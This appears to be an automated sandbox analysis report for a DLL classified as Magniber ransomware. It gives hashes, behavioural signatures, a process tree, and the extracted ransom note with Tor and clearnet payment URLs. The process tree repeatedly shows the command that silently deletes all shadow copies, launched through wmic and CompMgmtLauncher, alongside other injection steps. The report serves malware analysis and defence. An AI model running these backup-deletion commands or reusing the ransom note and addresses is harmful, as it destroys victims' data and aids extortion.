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Analysis

  • max time kernel
    120s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-en-20211104
  • submitted
    08/11/2021, 23:46

General

  • Target

    66e5ba1f28fd8c2bd5b1d7374c3da559.dll

  • Size

    38KB

  • MD5

    66e5ba1f28fd8c2bd5b1d7374c3da559

  • SHA1

    6aba0f311c91ddd9c803641d45b999c5dc4d5c89

  • SHA256

    f89425aa13ac58d54c13838db27b6adb2a03a427b801fe1c7842c48a5e05c348

  • SHA512

    0d51a5c979d3e7bfe3a884c33691462b5893d934b7a6bc91fe0c6f1bf4347532f7350c190946e823e86098f38674124e5f2f71d94064b7a405431881d65efea8

Score
10/10

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://3818c430422cd6803amqvhpqvv.vyewxn2lkxrihikeunagqqoakralogk5ze5vaxrkahvkjdug6rcwdsqd.onion/mqvhpqvv Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://3818c430422cd6803amqvhpqvv.oddson.quest/mqvhpqvv http://3818c430422cd6803amqvhpqvv.dearbet.sbs/mqvhpqvv http://3818c430422cd6803amqvhpqvv.hateme.uno/mqvhpqvv http://3818c430422cd6803amqvhpqvv.legcore.space/mqvhpqvv Note! These are temporary addresses! They will be available for a limited amount of time!
URLs

http://3818c430422cd6803amqvhpqvv.vyewxn2lkxrihikeunagqqoakralogk5ze5vaxrkahvkjdug6rcwdsqd.onion/mqvhpqvv

http://3818c430422cd6803amqvhpqvv.oddson.quest/mqvhpqvv

http://3818c430422cd6803amqvhpqvv.dearbet.sbs/mqvhpqvv

http://3818c430422cd6803amqvhpqvv.hateme.uno/mqvhpqvv

http://3818c430422cd6803amqvhpqvv.legcore.space/mqvhpqvv

Signatures

  • Magniber Ransomware

    Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.

  • Process spawned unexpected child process 12 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies extensions of user files 11 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Suspicious use of SetThreadContext 3 IoCs
  • Interacts with shadow copies 2 TTPs 8 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Internet Explorer settings 1 TTPs 34 IoCs
  • Modifies registry class 11 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 14 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Modifies registry class
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of UnmapMainImage
    • Suspicious use of WriteProcessMemory
    PID:1424
    • C:\Windows\system32\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\66e5ba1f28fd8c2bd5b1d7374c3da559.dll,#1
      2⤵
      • Suspicious use of SetThreadContext
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of WriteProcessMemory
      PID:780
      • C:\Windows\system32\wbem\wmic.exe
        C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
        3⤵
          PID:1176
        • C:\Windows\system32\cmd.exe
          cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1128
          • C:\Windows\system32\wbem\WMIC.exe
            C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
            4⤵
              PID:1400
        • C:\Windows\system32\cmd.exe
          cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
          2⤵
            PID:1156
            • C:\Windows\system32\wbem\WMIC.exe
              C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
              3⤵
                PID:1624
            • C:\Windows\system32\wbem\wmic.exe
              C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
              2⤵
                PID:232
            • C:\Windows\system32\Dwm.exe
              "C:\Windows\system32\Dwm.exe"
              1⤵
              • Modifies registry class
              • Suspicious use of WriteProcessMemory
              PID:1356
              • C:\Windows\system32\cmd.exe
                cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1904
                • C:\Windows\system32\wbem\WMIC.exe
                  C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
                  3⤵
                    PID:924
                • C:\Windows\system32\wbem\wmic.exe
                  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
                  2⤵
                    PID:936
                • C:\Windows\system32\taskhost.exe
                  "taskhost.exe"
                  1⤵
                  • Modifies extensions of user files
                  • Modifies registry class
                  • Suspicious use of WriteProcessMemory
                  PID:1264
                  • C:\Windows\system32\notepad.exe
                    notepad.exe C:\Users\Public\readme.txt
                    2⤵
                    • Opens file in notepad (likely ransom note)
                    PID:1908
                  • C:\Windows\system32\cmd.exe
                    cmd /c "start http://3818c430422cd6803amqvhpqvv.oddson.quest/mqvhpqvv^&1^&40019457^&74^&351^&12"
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:688
                    • C:\Program Files\Internet Explorer\iexplore.exe
                      "C:\Program Files\Internet Explorer\iexplore.exe" http://3818c430422cd6803amqvhpqvv.oddson.quest/mqvhpqvv&1&40019457&74&351&12
                      3⤵
                      • Modifies Internet Explorer settings
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SetWindowsHookEx
                      • Suspicious use of WriteProcessMemory
                      PID:1184
                      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1184 CREDAT:275457 /prefetch:2
                        4⤵
                        • Modifies Internet Explorer settings
                        • Suspicious use of SetWindowsHookEx
                        PID:1836
                  • C:\Windows\system32\cmd.exe
                    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1968
                    • C:\Windows\system32\wbem\WMIC.exe
                      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
                      3⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1972
                  • C:\Windows\system32\wbem\wmic.exe
                    C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:924
                • C:\Windows\system32\cmd.exe
                  cmd /c CompMgmtLauncher.exe
                  1⤵
                  • Process spawned unexpected child process
                  • Suspicious use of WriteProcessMemory
                  PID:1836
                  • C:\Windows\system32\CompMgmtLauncher.exe
                    CompMgmtLauncher.exe
                    2⤵
                      PID:1176
                      • C:\Windows\system32\wbem\wmic.exe
                        "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                        3⤵
                          PID:924
                    • C:\Windows\system32\vssadmin.exe
                      vssadmin.exe Delete Shadows /all /quiet
                      1⤵
                      • Process spawned unexpected child process
                      • Interacts with shadow copies
                      PID:1628
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                        PID:1468
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin.exe Delete Shadows /all /quiet
                        1⤵
                        • Process spawned unexpected child process
                        • Interacts with shadow copies
                        PID:1100
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin.exe Delete Shadows /all /quiet
                        1⤵
                        • Process spawned unexpected child process
                        • Interacts with shadow copies
                        PID:1244
                      • C:\Windows\system32\cmd.exe
                        cmd /c CompMgmtLauncher.exe
                        1⤵
                        • Process spawned unexpected child process
                        • Suspicious use of WriteProcessMemory
                        PID:1724
                        • C:\Windows\system32\CompMgmtLauncher.exe
                          CompMgmtLauncher.exe
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1732
                          • C:\Windows\system32\wbem\wmic.exe
                            "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                            3⤵
                              PID:1648
                        • C:\Windows\system32\vssadmin.exe
                          vssadmin.exe Delete Shadows /all /quiet
                          1⤵
                          • Process spawned unexpected child process
                          • Interacts with shadow copies
                          • Suspicious use of WriteProcessMemory
                          PID:1176
                        • C:\Windows\system32\vssadmin.exe
                          vssadmin.exe Delete Shadows /all /quiet
                          1⤵
                          • Process spawned unexpected child process
                          • Interacts with shadow copies
                          PID:228
                        • C:\Windows\system32\cmd.exe
                          cmd /c CompMgmtLauncher.exe
                          1⤵
                          • Process spawned unexpected child process
                          • Suspicious use of WriteProcessMemory
                          PID:1952
                          • C:\Windows\system32\CompMgmtLauncher.exe
                            CompMgmtLauncher.exe
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1244
                            • C:\Windows\system32\wbem\wmic.exe
                              "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                              3⤵
                                PID:1580
                          • C:\Windows\system32\vssadmin.exe
                            vssadmin.exe Delete Shadows /all /quiet
                            1⤵
                            • Process spawned unexpected child process
                            • Interacts with shadow copies
                            PID:936
                          • C:\Windows\system32\vssadmin.exe
                            vssadmin.exe Delete Shadows /all /quiet
                            1⤵
                            • Process spawned unexpected child process
                            • Interacts with shadow copies
                            PID:1080
                          • C:\Windows\system32\cmd.exe
                            cmd /c CompMgmtLauncher.exe
                            1⤵
                            • Process spawned unexpected child process
                            PID:204
                            • C:\Windows\system32\CompMgmtLauncher.exe
                              CompMgmtLauncher.exe
                              2⤵
                                PID:208
                                • C:\Windows\system32\wbem\wmic.exe
                                  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                                  3⤵
                                    PID:220
                              • C:\Windows\system32\vssadmin.exe
                                vssadmin.exe Delete Shadows /all /quiet
                                1⤵
                                • Process spawned unexpected child process
                                • Interacts with shadow copies
                                PID:620

                              Network

                              MITRE ATT&CK Enterprise v6

                              Replay Monitor

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                              Downloads

                              • memory/780-57-0x0000000000120000-0x0000000000121000-memory.dmp

                                Filesize

                                4KB

                              • memory/780-63-0x0000000000330000-0x0000000000331000-memory.dmp

                                Filesize

                                4KB

                              • memory/780-66-0x0000000001B80000-0x0000000001B81000-memory.dmp

                                Filesize

                                4KB

                              • memory/780-60-0x0000000000150000-0x0000000000151000-memory.dmp

                                Filesize

                                4KB

                              • memory/780-55-0x0000000001D10000-0x00000000020B2000-memory.dmp

                                Filesize

                                3.6MB

                              • memory/780-65-0x0000000001B70000-0x0000000001B71000-memory.dmp

                                Filesize

                                4KB

                              • memory/780-56-0x0000000000110000-0x0000000000111000-memory.dmp

                                Filesize

                                4KB

                              • memory/780-58-0x0000000000130000-0x0000000000131000-memory.dmp

                                Filesize

                                4KB

                              • memory/780-64-0x0000000001B60000-0x0000000001B61000-memory.dmp

                                Filesize

                                4KB

                              • memory/780-62-0x0000000000170000-0x0000000000171000-memory.dmp

                                Filesize

                                4KB

                              • memory/780-59-0x0000000000140000-0x0000000000141000-memory.dmp

                                Filesize

                                4KB

                              • memory/780-61-0x0000000000160000-0x0000000000161000-memory.dmp

                                Filesize

                                4KB

                              • memory/780-68-0x0000000003FB0000-0x0000000003FB1000-memory.dmp

                                Filesize

                                4KB

                              • memory/780-99-0x0000000003FD0000-0x0000000003FD1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1264-67-0x0000000001B00000-0x0000000001B05000-memory.dmp

                                Filesize

                                20KB

                              • memory/1908-80-0x000007FEFBFB1000-0x000007FEFBFB3000-memory.dmp

                                Filesize

                                8KB